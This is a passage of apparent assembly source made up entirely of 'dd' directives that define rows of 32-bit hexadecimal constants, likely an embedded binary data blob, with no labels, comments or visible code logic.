0F8960907h, 0E441DBFDh, 966186Bh dd 61B44BFCh, 0EA01A89Ch, 0A59FC5Eh, 0B4ECFEB1h, 226A2880h dd 373A2CC0h, 0A32509FCh, 2748A0D0h, 0B13D8054h, 1FE0B5Bh dd 0B8EA4D99h, 0DA88824Ah, 8D7AE8E0h, 5C34B088h, 4C0044F5h dd 2C2E0864h, 380FD121h, 607B6723h, 1D93A4Bh, 0AE3B3E1Ah dd 22DC1517h, 0BB208038h, 94A30CA0h, 6A08020Ch, 6C7E88B8h dd 764DC202h, 0A8970B7Dh, 0B5811591h, 5036D482h, 0FCC386ACh dd 95DAC100h, 94D1D069h, 26DFE2ADh, 1F2A19h, 98B2F007h dd 94A34402h, 5C89C5EAh, 6C67B46Ah, 2C675944h, 0F1F258h dd 41C08E33h, 91FC2034h, 25396240h, 2000BC96h, 0C5455F9Dh dd 75CC3D05h, 24C2DD4Ch, 39A47ED5h, 67802849h, 87B4DF03h dd 6A27448Ch, 9039000h, 7A648815h, 0FAAA054Eh, 49AE1B3h dd 41AC44C0h, 29B23F9Eh, 404B399Fh, 1EB08E46h, 0C4A0169Dh dd 631DD391h, 0F7D21BDh, 5DC729Bh, 0BC4F4913h, 14BB00E7h dd 0CAEBEDh, 63C6EF85h, 4DDD719Ah, 4739F5E2h, 9D6FF8B6h dd 27205F58h, 802FAD3Fh, 7CAE3441h, 0AC90401Bh, 0F20072EAh dd 0A280FDFEh, 2CA87DBh, 6547673Fh, 247ED462h, 7CF0B480h dd 4A29FF6Ch, 23B42EA9h, 0BB50018h, 0B66EB42Eh, 0EF021494h dd 82A11CD8h, 84363290h, 94F92974h, 0E01CFF00h, 36B08FA5h dd 383E7A30h, 4134D863h, 72FAECB2h, 1A41C56h, 31DCBE62h dd 0D438B1C6h, 1037D212h, 0BE240838h, 4638A848h, 0EC642491h dd 0C571B409h, 5CEC8750h, 6C1960FCh, 4DFA9BD8h, 30598DF8h dd 4CC501A0h, 0DF08E32h, 1AF8D828h, 8FAE028Ch, 0D3B7B2FFh dd 0F0861451h, 406033C4h, 2891D525h, 35B19502h, 0D4644009h dd 6D5D1DDDh, 0B85F0072h, 4A65E341h, 0F19E1362h, 0EF0C9360h dd 50B6E5B3h, 78CF4C89h, 2290B0F3h, 4D0035D4h, 7C01E60Dh dd 2EB22865h, 85943267h, 0A8E5D033h, 0A869C100h, 3434BB68h dd 2046206Dh, 426B9102h, 818A7B34h, 840ADD8h, 0A8289CF1h dd 488C16B8h, 1100989Ch, 0C2598645h, 0D81843EAh, 7A78A8D4h dd 49C97662h, 4D003084h, 65E45491h, 6C2AB634h, 3216D02Ah dd 0CE3D46Fh, 0FC49651Dh, 884CCB24h, 34443D1Fh, 0E0239C40h dd 771DA762h, 0D5D6C7D7h, 4991CA4h, 34B33CA9h, 452CC3E2h dd 0B0908792h, 29DDAAD5h, 6F9C92C0h, 0B3118Bh, 58E1DD49h dd 60856B1Ch, 1270D70Ah, 3F04C4E3h, 0B92733ABh, 0BD477448h dd 5EFF7301h, 0C99A64DCh, 352A9451h, 0B0E8A980h, 468CB854h dd 478BDF02h, 8B09D686h, 0CCE002FCh, 0E7B2002Bh, 0F43CB607h dd 0EC88580Bh, 231F8C58h, 0FACBB462h, 83244827h, 0BB657886h dd 408479B8h, 4B069ECh, 81BAB244h, 20BD294h, 2350E50h dd 25C05BBBh, 11DE7D02h, 28C0088Ch, 0DA37274Bh, 21914497h dd 0E2C2B80h, 0AC559A0h, 38816BBEh, 210032E2h, 0C70425F1h dd 0EC7785D8h, 35A9F4C0h, 293A88BCh, 81876000h, 1923DBACh dd 9678B20Eh, 18465E4Ch, 8FBF8309h, 72004444h, 4249B69Ah dd 0B94C9DEh, 0E4BD6A60h, 0B48EB700h, 90A4EA1Eh, 0CCECB816h dd 33541492h, 0B4E403D8h, 4C2C8F4Bh, 36D006Fh, 0C84D091Bh dd 0E300F668h, 0CA7B865Bh, 900C30C5h, 0A07C161Ch, 21C4419Ah dd 831CAE05h, 0B6789440h, 58185831h, 0DBFFFC08h, 84212588h dd 81045CACh, 2C39D47Fh, 3A5E00D0h, 3276B3F1h, 0AEE21781h dd 9C7482C9h, 16849427h, 4F01E8B3h, 6B32626Ah, 88A40C89h dd 6A00575Fh, 9C9ABD8Bh, 2D206537h, 6819B72Eh, 4D1474F8h dd 33ECAC13h, 0BBB0EA00h, 0A8CD90D8h, 3AC9CFA0h, 0A85CE0B8h dd 0C02028A6h, 914C07B1h, 0B81CB811h, 99126705h, 72924090h dd 4D500208h, 11A0EA89h, 31443464h, 8B533DBDh, 0EF131480h dd 867B2A4Dh, 80AAFA17h, 3FA56C20h, 0D4DD54A8h, 7296037Eh dd 133698B4h, 9C42203Dh, 7182938Ah, 905278B2h, 5AD04D0h dd 5A49F88h, 0B6A04049h, 0D57F8EEAh, 82C6B716h, 2088E08Fh dd 51FAA8C0h, 5DE800E2h, 207E1061h, 1EE24EB6h, 2C927494h dd 0C3D44845h, 0BBDAC058h, 8F320439h, 83FC283Fh, 0A15C5CA8h dd 8C25BCF8h, 0D3D65C01h, 21321097h, 0B0085463h, 6B02A4B4h dd 0F4148E34h, 0AF41284h, 0A5D4774Ch, 831D4410h, 3EACA4Ch dd 170F4F68h, 1C2AB934h, 0DEB22180h, 2C7CB631h, 0AB2E48C3h dd 0B7D90BBCh, 40015EAFh, 3D141C96h, 2F5A1724h, 42F8CCC8h dd 87DE11A0h, 0BAB0B409h, 8CCCCC2h, 982F194Fh, 1E012123h dd 54B48F65h, 3728D0F0h, 1079D5FEh, 8AC24B4Eh, 0C05AF032h dd 4C0622BAh, 0B90A38E6h, 86BE7D48h, 5D38CC01h, 183DC9B8h dd 889FD050h, 0BE17AB80h, 182034A4h, 1287470Fh, 5EB4A19Eh dd 0ECB6011Ch, 23AE2E56h, 78BD09C4h, 0B04CEE33h, 0A0405480h dd 354A4FB7h, 0FF7C1D3Ch, 0F00202C0h, 0A8E9B65Dh, 11949D26h dd 0DABC8025h, 121D4CABh, 0C20E6EB4h, 0A9C1EFD0h, 4EA431DBh dd 0C0208848h, 31767EC0h, 8053BC03h, 0B8CE9D6Ah, 0A0F8588Eh dd 0DCDDBEECh, 0AC042FE8h, 0F2A0F24Ch, 0A9F33320h, 54269D90h dd 37045AF4h, 2BBDB6F9h, 3FDA5888h, 11A5C5DFh, 8CE5C4BAh dd 0AA602164h, 0DE00FFB5h, 0EF5F2AD9h, 2DB09496h, 28006042h dd 16B17391h, 55074775h, 0C0FCD118h, 0D5DB62C0h, 14FCA8A9h dd 227E7Bh, 1AE6DD02h, 11CD62E2h, 0FA779504h, 4C80D5B9h dd 0B86A4AFCh, 55480264h, 71D054F1h, 0A100F4F6h, 0F5BD7380h dd 0A4C25053h, 16324038h, 22204098h, 0BE4B0B7Dh, 0C624698h dd 465E5C56h, 80473FADh, 10E6957Ah, 0F6928F22h, 326438BCh dd 49234CCh, 0BD01874h, 1304824Ch, 70046049h, 5D9D800Ch dd 0B0CA2B09h, 0BA450CCh, 7A761EB6h, 0BDD42810h, 14A47896h dd 320AF421h, 9105343Ah, 0F882F9D3h, 0A248C34Ch, 9FAB001Fh dd 5B2C3031h, 0F134D0B2h, 0F894FC02h, 864718DBh, 4CBD7A26h dd 65135208h, 4738051Ah, 269C08D4h, 814A198Ch, 9AAF006Eh dd 0F6F03E51h, 48C4299Bh dd 743246DEh, 263034C4h, 0D8EFE13Ah, 0A89E48E4h, 8C1BF8h dd 91849A25h, 844E06Bh, 0A0D44C2Dh, 977730E0h, 0E71B006Dh dd 6A90DC48h, 3C004584h, 599CB99Fh, 0B8D6C14Dh, 32AC114Ch dd 5F1E11DCh, 18C5328h, 0AEE3A8CFh, 7F229A46h, 2AC68C22h dd 81DA1120h, 32666A4Bh, 7B0E1CD2h, 805C6A53h, 0E6150A55h dd 97AF12F9h, 0A41804F8h, 118819CFh, 415FBB11h, 7C6AECh dd 38DC03A8h, 0F817C3AFh, 0ECD8C8CDh, 0E4E4E58Ah, 7706157h dd 2CDE630h, 0C639E4B3h, 8C832684h, 0E0506D2Ah, 0F400624h dd 0E4C61421h, 3801033h, 0DE0F9EB9h, 0A8F13216h, 0D88308Bh dd 4A7C46C0h, 0F61C0354h, 1317C3ECh, 24EAA0C9h, 0BE003D28h dd 48DD4CA3h, 5BAB4C4h, 54FC6B33h, 0C9904162h, 221929ECh dd 13E90090h, 0DBB760EDh, 7FE400ACh, 3FC2E66Bh, 7518347Ch dd 0BD388976h, 9A9728B0h, 5EE096A8h, 57002746h, 83D2B8F0h dd 0CA1E2F41h, 0C825D42Ch, 7D3BA4h, 8E618974h, 73C32C6h dd 12A73E02h, 5A11EF7Ah, 88EA1DF0h, 0B509C0F5h, 269C9F6Ch dd 2A45D56h, 0C962EEE5h, 60D4D1E9h, 0EAEEDD52h, 0DEB3F312h dd 0B287004h, 0B8203532h, 97125C89h, 33457CA3h, 0E6C710B0h dd 8CE36C02h, 40657620h, 96B7DCD4h, 19467620h, 0BA0F824h dd 8CC48CFAh, 0F1824976h, 18CF79CCh, 132005CBh, 4824D404h dd 5AC0DD24h, 4832656Ah, 7AE0C483h, 0C2006A62h, 0B62E35F3h dd 3D873047h, 0B8881B34h, 4544BA54h, 6C09C94Eh, 6EB658A3h dd 0D02D4BEBh, 785C2E07h, 854D9318h, 343AF216h, 0F739CF23h dd 0FC996803h, 2788E22Ch, 3C6DF558h, 952636C0h, 9D87043Dh dd 0C16639EEh, 0C35D2D4h, 16B940F6h, 2441A6E4h, 0FD783420h dd 5108232Fh, 21B600A4h, 27F3BE33h, 209DDD5Dh, 59802011h dd 0B066FDDCh, 9381A700h, 0C07BAD48h, 0F1109108h, 3DDC19ADh dd 0E887EABFh, 2A7604C1h, 88A63FF1h, 34004B5Ch, 14BEACCDh dd 64E3B4Ah, 0E8A0119Bh, 0EC9CE8A6h, 30903A44h, 5FAB90h dd 0E26B1355h, 0B2674C5Dh, 0AD2ED1C4h, 0AC007CA2h, 0F348B97h dd 0E248B647h, 302986D4h, 72E103F9h, 8F98909Bh, 1FA30D80h dd 9743CD04h, 148B9565h, 81C0A3C8h, 9DAF770h, 0D7A216CFh dd 1352461h, 7078BF9Ch, 58C1ABCh, 911FC95Bh, 0C608E4D5h dd 375E9305h, 0DCB411CCh, 0FF7701E9h, 52264654h, 6712C0F1h dd 4E960838h, 0AC47A800h, 0C10D215h, 1C5E26B4h, 0B7027198h dd 849607D4h, 20DCF208h, 2CA534AAh, 67806C11h, 59B458FCh dd 24169Dh, 19FC5FEBh, 7D271C94h, 33DEA405h, 0D8B0A096h dd 6A2C09BFh, 0B452AE3Fh, 42552E0Ch, 904C9886h, 0AF6258Ch dd 269F464h, 0E468E529h, 15876020h, 178B006Ah, 0C60E922Fh dd 0C9119ACAh, 4D0090D8h, 0F6C5B081h, 9F89631h, 224CA8CEh dd 0A2E88DD2h, 60EDB290h, 893560E8h, 0D040EA38h, 0CF83B40Ch dd 5EDDC1FEh, 0A8F8CF34h, 0C80B69C2h, 0A0B0E8B0h, 0E6AFF227h dd 0AE3C0C6Ch, 3959378Ch, 0DA62A302h, 0E83A1EB6h, 7CA8C97Ch dd 0B068C004h, 901B726h, 5A0EE4B8h, 0C4BB6366h, 90D0C16Ch dd 948B0E26h, 397C9B64h, 0ADA4FBE0h, 9A6CDE13h, 19614029h dd 0E50213Eh, 2EE00621h, 6474C0D8h, 24D4B35h, 423E6E0h dd 2468CB71h, 80A9A44Dh, 0F2181BD1h, 0C1918832h, 648209B8h dd 0BC7E3336h, 5448D14Fh, 4C01DB23h, 5332676Ah, 7C802C6Ah dd 0FD6A5401h, 2BB03F7Ah, 8F479A4h, 3B1C383Ah, 3CCB548Ah dd 90216A1Fh, 0C0DCC861h, 32646A59h, 618E7B43h, 75D26A21h dd 48322Ah, 57EFE50Dh, 0C2713Dh, 0C75C1056h, 19AD34F4h dd 7CE2C62Bh, 3909A191h, 0A85838B6h, 0FB88C085h, 1C174BB9h dd 0F7802411h, 723F4D32h, 0DA34891Ah, 30980860h, 0B4029CA1h dd 4428DE4Eh, 0F5141018h, 86228830h, 20E4BBADh, 64B31810h dd 0BE8E3288h, 0F0C07698h, 729180h, 6DBB73ABh, 8C165536h dd 104097B5h, 10A09423h, 64842F5Ah, 6D3F21B9h, 22E44A19h dd 24B4B91Ah, 40620890h, 5C8E3D02h, 6068D681h, 665EA0B2h dd 5A8E3380h, 0CB18133Ch, 0C058C8E4h, 3732C8FFh, 60A6D4B6h dd 0E6EBA760h, 127702Fh, 7B1B0E16h, 21BB2A39h, 5AE342F0h dd 0DE815851h, 41C967EEh, 87881718h, 0BDEE0116h, 0B8589C8Dh dd 154C2DBBh, 0F01CD4h, 96E18F70h, 7B194D5h, 31B4442Bh dd 13C140A6h, 80090342h, 8906D4ABh, 0E0706A90h, 80291578h dd 9824B841h, 642A8BBh, 8440459h, 52B79CBEh, 4B588A97h dd 1F192C46h, 9E3500B9h, 8A96896Fh, 7100A4D6h, 202E7494h dd 67C2C8h, 0B5CE0272h, 36B6DED8h, 24C299Fh, 19E7094h dd 4B9CB9C3h, 0C01AC898h, 690F581Dh, 3A88D03h, 512A9266h dd 98074E9h, 2C4FD802h, 134A5D7Ah, 0BB956440h, 1B219B75h dd 0D9B2D5BDh, 0D7030800h, 0D873C454h, 0E371169Ah, 2E08C67h dd 0A443650Bh, 87781023h, 2634F2F0h, 11646208h, 567F002Fh dd 454BBFA9h, 0C29109CDh, 0D062AE4Dh, 19796851h, 0FC980019h dd 0B70BDFEDh, 0C499C9FAh, 0E01C0098h, 0A28DE7E8h, 251C1820h dd 8824B067h, 70B8608h, 0D970AE3Dh, 6684A42Fh, 80330119h dd 5AD23221h, 56AB01C0h, 54A8F6DEh, 0D870302Ch, 19CF940h dd 8814455Ch, 2A4B91BEh, 4ADFF41Fh, 8495D242h, 0F8A15FFFh dd 68888672h, 8CA6E830h, 4161CA00h, 0D19749C1h, 706160Dh dd 0DED08BDFh, 0E2951663h, 5B9600F0h, 66B6C006h, 0B98A023Fh dd 0D3733465h, 0CB8D8487h, 2B9CD098h, 57445D00h, 0C9843889h dd 80090031h, 369561ACh, 694EF4C6h, 345CFCC0h, 0C08C4B8Eh dd 84CE230h, 0D4DBDF0Ch, 4FD9B3h, 34ABD66Dh, 9FB6B706h dd 0B22A848h, 84B0EB35h, 0AD4516B8h, 0B280B0ECh, 70A77224h dd 9C748438h, 84AC5D2Dh, 0FF9D2183h, 66069BAh, 0B6153FBEh dd 404C35DFh, 0D408EF4h, 0F9C2039Ah, 4D094732h, 7926EAB1h dd 15F471E0h, 1F6EAF1Eh, 7F86A600h, 1EC76266h, 7A1D8DACh dd 0DC3AF501h, 204C7B47h, 3D415A2Ch, 0AC9C15h, 0B3156A80h dd 0E23E47FDh, 0B0405E24h, 0F4CE6967h, 53900F66h, 9CC4342Eh dd 7A8EDD5h, 5030B4EBh, 0B9E8A010h, 2C950090h, 18A8EFB8h dd 6A04F73Eh, 0F3B3217h, 5DE24C40h, 0FD00AC9Bh, 0B22E81C9h dd 96A199E5h, 25465EC4h, 0E07F8500h, 1DD4D08Dh, 42381892h dd 0B34880DFh, 468F65A9h, 4F170034h, 6A3D9FB5h, 8A011EB0h dd 0A8A008E9h, 5423DEB3h, 0C33056E2h, 0E473023Ch, 6B77B0BBh dd 26D9C479h, 8077C018h, 87D5880Fh, 7A16C0BDh, 4EBF4B73h dd 23282F2Ch, 5F2300A6h, 0DE702EC7h, 417CD912h, 0D187804h dd 75A8B201h, 343B6A62h, 0B800D023h, 98B2BADCh, 0D42095D6h dd 0EAEBD5D1h, 2DBF0D16h, 0C810E80Fh, 3A2C13DCh, 0A9232Ch dd 2AA63E78h, 0AB008EB8h, 5C35C4F0h, 271CB255h, 88627006h dd 8204A8D8h, 0A8F10401h, 0EB828FCh, 584D038Ch, 77808BFh dd 0BB7942F8h, 22185A48h, 0DC97B554h, 79800C91h, 27E0E5DFh dd 86CEB900h, 0FFEFBB43h, 94B525B8h, 0D5DD9482h, 6480945Ch dd 0E745F111h, 0D1AE00E9h, 5BF654B6h, 6A045AE1h, 0E34B9A4Dh dd 0CCC108C4h, 1072CEB8h, 8887D612h, 115AC378h, 0CE23343Bh dd 0C9B7F102h, 8894541Eh, 0C4A7A2B3h, 0FDA10090h, 9084C6ECh dd 860F26F0h, 5A04EDh, 6DB7500Dh, 64E42D67h, 0D312D0E5h dd 0ACC0C0A2h, 0BE367D01h, 1688E04Dh, 0E0B41FD4h, 22071F25h dd 89FDC06Ah, 13D87DAAh dd 697F4A01h, 0F55E36B7h, 744B5430h, 6E2C5A31h, 0AF8001B0h dd 0F2D5E8B6h, 89F09F8h, 84A0BC21h, 27223442h, 0E3C98C2Ah dd 516EFB00h, 0F743E907h, 90410039h, 3ADCBE4Bh, 575B6428h dd 1988FCCEh, 8324B1C0h, 673E164Bh, 68A2DAh, 6D7926F1h dd 825AE9h, 7C9621A4h, 846F5B4Dh, 8E4FAD04h, 0E0BC57E2h dd 2E8C19E8h, 25359B3h, 0B02EF5D1h, 338C78FEh, 1E80D8D7h dd 0C728A8ABh, 1304545Ch, 94E8638Fh, 4D3BDB32h, 24901234h dd 988B701Eh, 8160A092h, 4C2534Bh, 4E1EE844h, 201CA860h dd 17BCB3A0h, 750C202Ah, 9A00D1ABh, 33A739E8h, 18C0CA38h dd 8EF1D931h, 5205625Ch, 0E5864737h, 0BB853481h, 0A6F8787Ch dd 0CB45038Ch, 36DE8A2Eh, 30B62389h, 1C4044A0h, 0B7ED0D32h dd 3FA17EC6h, 0BD643020h, 46890011h, 0BB51E402h, 0AA130E27h dd 348C8E80h, 0F031DA0Fh, 0DE62C2h, 17164676h, 34A1BC39h dd 10E80479h, 32021800h, 8B31EB7h, 0C8902Eh, 816563BBh dd 0CAC64BEh, 7A030BE8h, 10B8C977h, 0BB7009CAh, 0E40442F9h dd 421436Dh, 89FA895Dh, 9881BA20h, 656709A4h, 0E85AED29h dd 8166A02Fh, 6CB633CCh, 2E014428h, 6791E57Ah, 40023EADh dd 44C9B85Bh, 988A0CB4h, 64381A36h, 5C6758BCh, 0B47469F9h dd 35F9F4h, 6D3256E3h, 5E39711Bh, 26DDEA00h, 4DDF4C9Ah dd 40294F9Bh, 9570ECCh, 0BD0738D1h, 807C2F36h, 810143A4h dd 51C5AA71h, 0B4C3DCh, 414A2CFEh, 0D3FCEB2Ah, 0DC046Ch dd 11DC8747h, 4B50A005h, 0BFB32544h, 0A1F28C6Bh, 0AC0E9008h dd 24630A4Ah, 0ACE5C608h, 5746744Ch, 0CD9DFF0Bh, 0B83DE071h dd 0A9A880D7h, 0E5BC47D6h, 645010Ah, 0CC9CD5Bh, 94357E72h dd 0A204CA8h, 1434E33Dh, 33741D6Eh, 5AB5A02Eh, 8E48DB71h dd 7EDA00F2h, 18B46D5Bh, 602CA26Eh, 0B01ED9B8h, 66CBEF46h dd 790C79BBh, 89180Dh, 0C7BF4CA8h, 0C38A47CEh, 68D5982Fh dd 3CF87504h, 0C70F0668h, 33009378h, 0ABD5CD5Dh, 0ED4180A8h dd 5FEE3Fh, 7F3B9C7Eh, 36CDD80h, 310D0EACh, 87C84AC0h dd 40798B68h, 0BE4C6309h, 58C85CAh, 7B3EB0FDh, 3CCDE0FBh dd 0CB4B4C31h, 0C024C8ECh, 0D83981D2h, 0B8567E00h, 1EB45CAFh dd 0EF98A866h, 1F3227C6h, 0D8119421h, 0C8102B90h, 0E7D518A4h dd 4DB86928h, 0D409B084h, 48F144BFh, 0B418D5D9h, 34FA6F02h dd 41172298h, 7C21D990h, 6606DC38h, 185F3EA8h, 4C39A563h dd 0EBB6E90Ah, 5D844CAh, 0C11DBB2h, 0EC88FC34h, 0CE808C15h dd 4FB0AC47h, 3AEB313h, 0EF67CC1h, 0AF0F6C7Dh, 4CCB3935h dd 0C89824C2h, 66774EB6h, 0D8275CB6h, 0B38F440Ch, 99C4713Dh dd 0A2182CF7h, 8F845F3Eh, 942D48E2h, 18C43870h, 1220EFBDh dd 4541C040h, 0DCCE3DF7h, 8ED78900h, 57322446h, 0C37A05h dd 16E38770h, 0BEB26EFAh, 188E3113h, 8058A0A5h, 0E8A0BF2Ah dd 5BECCFBCh, 6B3A4100h, 18D3F522h, 492602B3h, 0B67F7BF2h dd 9B1FF846h, 9008F0Fh, 57A9DC08h, 0B5781F23h, 11F30091h dd 0FFC2E241h, 7CA0430Bh, 4E74C0ADh, 87574B8Ah, 72F3022Ch dd 0E4DAD407h, 581BFE87h, 0B118E530h, 0CB3D03DFh, 0ED191769h dd 40C8794Eh, 6E310FCFh, 0D740E82Eh, 4A176F61h, 0E7FE4009h dd 9A249363h, 7CDC7CE6h, 170E5946h, 48EC5F4Dh, 1B007A81h dd 436F33EEh, 971653Eh, 165AA8B4h, 774BA8E8h, 4748DD01h dd 0C29EAB6h, 0B52E518Eh, 0C402E998h, 1C0C6995h, 1DAC1610h dd 0D475AF07h, 80324CDBh, 24EC64A0h, 1608F8EAh, 0C208A845h dd 0D8B0BDA1h, 2080E884h, 4CA37E65h, 7112A3BFh, 9CC1B94Eh dd 81026A4Eh, 82A9084h, 0A08A8225h, 648E0F6Eh, 535810EDh dd 4902F1A4h, 38EEADA8h, 0B458C0CDh, 40FDF23Fh, 0E9B87AB9h dd 1630A448h, 0F0C3EF61h, 1A58AD8h, 2B8E552Eh, 6A29D80Bh dd 1FAC59ACh, 174540FBh, 0D2594FAAh, 1F4C3E07h, 3C50A6D8h dd 445A70h, 7C0DB135h, 0BC6AFB9h, 98B23B0Bh, 0EE38D87Eh dd 0A61E8030h, 94F92660h, 8049E6A0h, 0D8792021h, 4D9F7405h dd 50A8B6FDh, 2FDC8173h, 1A23D03Ah, 52F76981h, 30708818h dd 0DCAEA210h, 4C6D25ACh, 0D97ADDC0h, 0D6D50201h, 0DE161F93h dd 2479D8F9h, 0AA059A18h, 856D8ECDh, 0B49694C0h, 0DD7D2F46h dd 16647867h, 0B849EC60h, 0C0AB782Dh, 7013A28h, 0BE35DA0Ah dd 28685B80h, 0B7800E22h, 9DF49691h, 1AA170D5h, 8A00EDC9h dd 2371B64Fh, 793A22h, 3888A09Ah, 0AF9E806Bh, 0BB447890h dd 48C1B564h, 78CE04BAh, 4FC01A88h, 1546F67h, 0B4C8A8B0h dd 306A2B89h, 6241EB48h, 509936F4h, 79BA903Ah, 533B0001h dd 47CAF292h, 5F00F55Dh, 35C5F889h, 903F65B6h, 30B071F8h dd 0D3F0744Dh, 8904BAFFh, 2D0609CCh, 0E7D0F056h, 5F57AE5Ch dd 2BF95C40h, 49B89607h, 7813B82Ah, 3D9CC079h, 7F5F7EC6h dd 35DD6807h, 0AE69B983h, 0C5DF0911h, 58F92B24h, 7E88B282h dd 307C5244h, 905914F8h, 0CB80418Ah, 586B5CD2h, 606D9C2Fh dd 0FC4DD561h, 708C6CAh, 44080B73h, 75FDE04Eh, 76005079h dd 84CC9D0Dh, 0B4CFB7Ch, 2B6A26B6h, 0A328F8C8h, 120C6082h dd 0C0C3812Ah, 1195BEA4h, 1C152344h, 401590F4h, 0F9EC98h dd 4AB7C1B3h, 2CE041BCh, 6E64B6A0h, 916BB039h, 7FB0C918h dd 7CC80050h, 886C7CF7h, 0E0DBA51Dh, 0C4A10970h, 35CA98C8h dd 1DDBDC88h, 40E4454Bh, 0CAE3C66h, 0A1C4DD5Dh, 0A257E61Eh dd 300CF204h, 26053F99h, 925A2A64h, 1F50AC1Fh, 2A8BD02h dd 0B8A2634Ch, 3F028646h, 0AC1856B2h, 8EFE0B95h, 7320907Ah dd 3932186Bh, 2E296913h, 967AB4A8h, 97BD5600h, 0ADFDF2B3h dd 23CF00E5h, 0EF786DB2h, 0EB2DB75Dh, 120CD104h, 9DB4BC59h dd 4640F01Ch, 21CD961Ah, 645405A7h, 0E9D5F91Dh, 0B65900F0h dd 0E0FEB513h, 0ABAF00CDh, 53587EB7h, 0E0BC62BCh, 0D52B7841h dd 0AF4EC4h, 6CFAB04h, 64CE5540h, 0DC014B5Ah, 9F5148BCh dd 0B346E7Ah, 5875F60h, 6CC178C4h, 0B3FEA6Dh, 46D9CD8h dd 135D9960h, 62210FD1h, 0A5E795BDh, 75857903h, 0B432BA97h dd 8C185FF5h, 9C2DC639h, 608C6AFEh, 5CC9B5F4h, 56EC7094h dd 0DFBC018Ch, 63928FE1h, 60C5F093h, 0A8821E5Fh, 56B42236h dd 94317840h, 7FA54D00h, 782C42FEh, 12F09ACEh, 4BF9C64h dd 147A362Ch, 19AD0600h, 4128BE63h, 82F2E4Ah, 6700CF23h dd 32FE6259h, 0B4A434h, 39E7B3A8h, 6CBDAE29h, 98BE6416h dd 79F1E8F4h, 0A8244C95h, 81ECECA4h, 8EB0F6DFh, 58AC7C0h dd 4D278743h, 0E1A4F413h, 63B46209h, 4A3C82E7h, 4B000F17h dd 0AC567F6Ah, 0C724D201h, 1A78B3A5h, 4CB79C74h, 49344BBh dd 5CA280h, 0A92EF8B3h, 98B895A6h, 23587653h, 0E90400EFh dd 1C5771C9h, 0BA0F618h, 2805010Ch, 0CB0104D0h, 0A8C9EF43h dd 3B6B6B5Bh, 3E262310h, 0DE59F201h, 3C5E7161h, 0E7DB22ACh dd 5400F422h, 86151E75h, 707D28Eh, 67F0CF7Ah, 0C09699B3h dd 1B4B4565h, 0F1AF3FF4h, 0F768C29Ch, 0F65F646Bh, 0A9B08091h dd 3ABB8501h, 0A2230C3Eh, 364AC800h, 6011E1C7h, 0BD22A93Eh dd 0AE0043DCh, 4BAC0D29h, 4FD1A8AAh, 65A823CDh, 0E027694Ah dd 7706591Ch, 60DC2CBEh, 5E108344h, 0D01F3494h, 3900B002h dd 0F4455D35h, 0BC6D27D0h, 0FB488C50h, 346844D4h, 0FD4D717h dd 6E6A70A1h, 0B2CD00DCh, 0BCD8446Fh, 0BA98A9A4h, 0A9F8306Ch dd 4469008Ch, 9DB1F325h dd 3227DBFAh, 41E4213Dh, 6710FCA0h, 9727AE36h, 6458E76Bh dd 0A1A6021h, 0AB30007Ch, 0AA3C6252h, 0C1C732D5h, 77E239BCh dd 4C5EE001h, 0AEFF0EA3h, 0ECF241E9h, 67DA1048h, 0C8D91913h dd 0B241F434h, 8AA6DC0Ch, 2ACA8881h, 0D22438C5h, 0D416B209h dd 0D4F90504h, 0BB0B979h, 4633724Eh, 0D251E630h, 0E004F6C1h dd 9F4DAEF3h, 0DC089082h, 71E67F00h, 5D873E02h, 814CEC80h dd 0CEE2BB91h, 754FA8C4h, 89F68700h, 1825FB8Eh, 0F150D171h dd 8F180Bh, 0AF87ABF4h, 32462BCBh, 905C9632h, 9D804148h dd 0A8D3D02Ch, 88A180F8h, 29CED07h, 82D989AEh, 88BFA729h dd 5A3AA103h, 0FF26C89Bh, 0B47304FDh, 0E1143680h, 80D82838h dd 0C3E5B647h, 638CBA7Eh, 822E49F3h, 14A03EE3h, 9D6275h dd 1674E144h, 931E322Dh, 50478710h, 0E4602344h, 0E70B4A5Bh dd 988036BCh, 0F8A4444h, 76953104h, 0E2A2FA2h, 0B626DC58h dd 280368AEh, 2332532h, 0E4AAA831h, 2F555A4Ch, 90182F70h dd 0E26F320Bh, 102C0046h, 2C41B82Ah, 6028EE80h, 0E4C63317h dd 8604478Ch, 0CDBEC2D5h, 230EB0ECh, 0D412C3B6h, 0C5940274h dd 0D09F2C82h, 0FB802511h, 4A44785h, 1D68794Ch, 44BD822Ah dd 0E0AFE9B7h, 65920C53h, 18C8448Bh, 0E52FB8C1h, 0C04312CCh dd 3F55A919h, 5D71BC39h, 29BFC4FAh, 8EC05690h, 50C28747h dd 0B07465E3h, 83D41994h, 9088B916h, 3E07BEAAh, 0C84BBBDEh dd 0DD3BF724h, 1BCB9793h, 4A2EA4E4h, 0BF38D4ABh, 0B2A3B820h dd 37B800C7h, 52E51B80h, 1D075A14h, 6466DD47h, 26B44D60h dd 0C1944F0Ah, 7ADEB2A0h, 243D5CCDh, 0C45D93B8h, 0B84182ECh dd 25ACD654h, 0E0D8B440h, 262EB141h, 21074A80h, 0F28A9C61h dd 65A2CF10h, 1F3100AAh, 9FA6673Fh, 0E326822Fh, 802CA458h dd 0DC045449h, 99D25C00h, 0E872E79h, 1EB409E5h, 0CC682926h dd 45866B88h, 252C3083h, 5721144h, 0B608674Ch, 5EC8A858h dd 2223302Fh, 9A2F9803h, 0AC1D98D1h, 0D8EF24AFh, 3BB84288h dd 1B2534E8h, 1A2979C6h, 34770041h, 660F46ABh, 0B2003608h dd 0E9DDA2AFh, 13038816h, 0ACF52797h, 21EEA2ECh, 386A78BEh dd 0C84E7CA0h, 0B22EA8D1h, 6F7CC429h, 0E19679C7h, 0C072CA68h dd 2078B43Eh, 0C019391Ah, 18F8F0CCh, 6255128Ch, 2024BC81h dd 0B8EF0924h, 0BCE8B218h, 7F0CB04h, 6A46B8AEh, 56FC6509h dd 0E01C8C09h, 0FC5DED01h, 0B4D4374Ah, 181EE1BCh, 0A1ECE7Bh dd 0EAD9BF22h, 4B308C8Ah, 0C70DC73h, 172720C5h, 29802E7Ch dd 4C6C9ABFh, 0DF02A04Dh, 10BEB0B2h, 6E4F1CC9h, 2523742Fh dd 0A8F88400h, 13B43993h, 0D34476B0h, 0DCA20408h, 0F8143D11h dd 8C0EBC38h, 3B0702E4h, 0B24AAEDCh, 262980B1h, 9DB4F810h dd 61199B0Bh, 6790DE95h, 804D8970h, 0F3CCAE6Fh, 1401B113h dd 274C7A63h, 1570413Fh, 2AE2EE3Bh, 685E20C2h, 0C42BC8ACh dd 0C33AFA21h, 9A884DB4h, 0F525B3A8h, 0A778D999h, 970070D1h dd 3575F201h, 0D3CB03F6h, 0E337743Ah, 0F020AB9Ch, 0EAB3FFA0h dd 85760018h, 6979D65Eh, 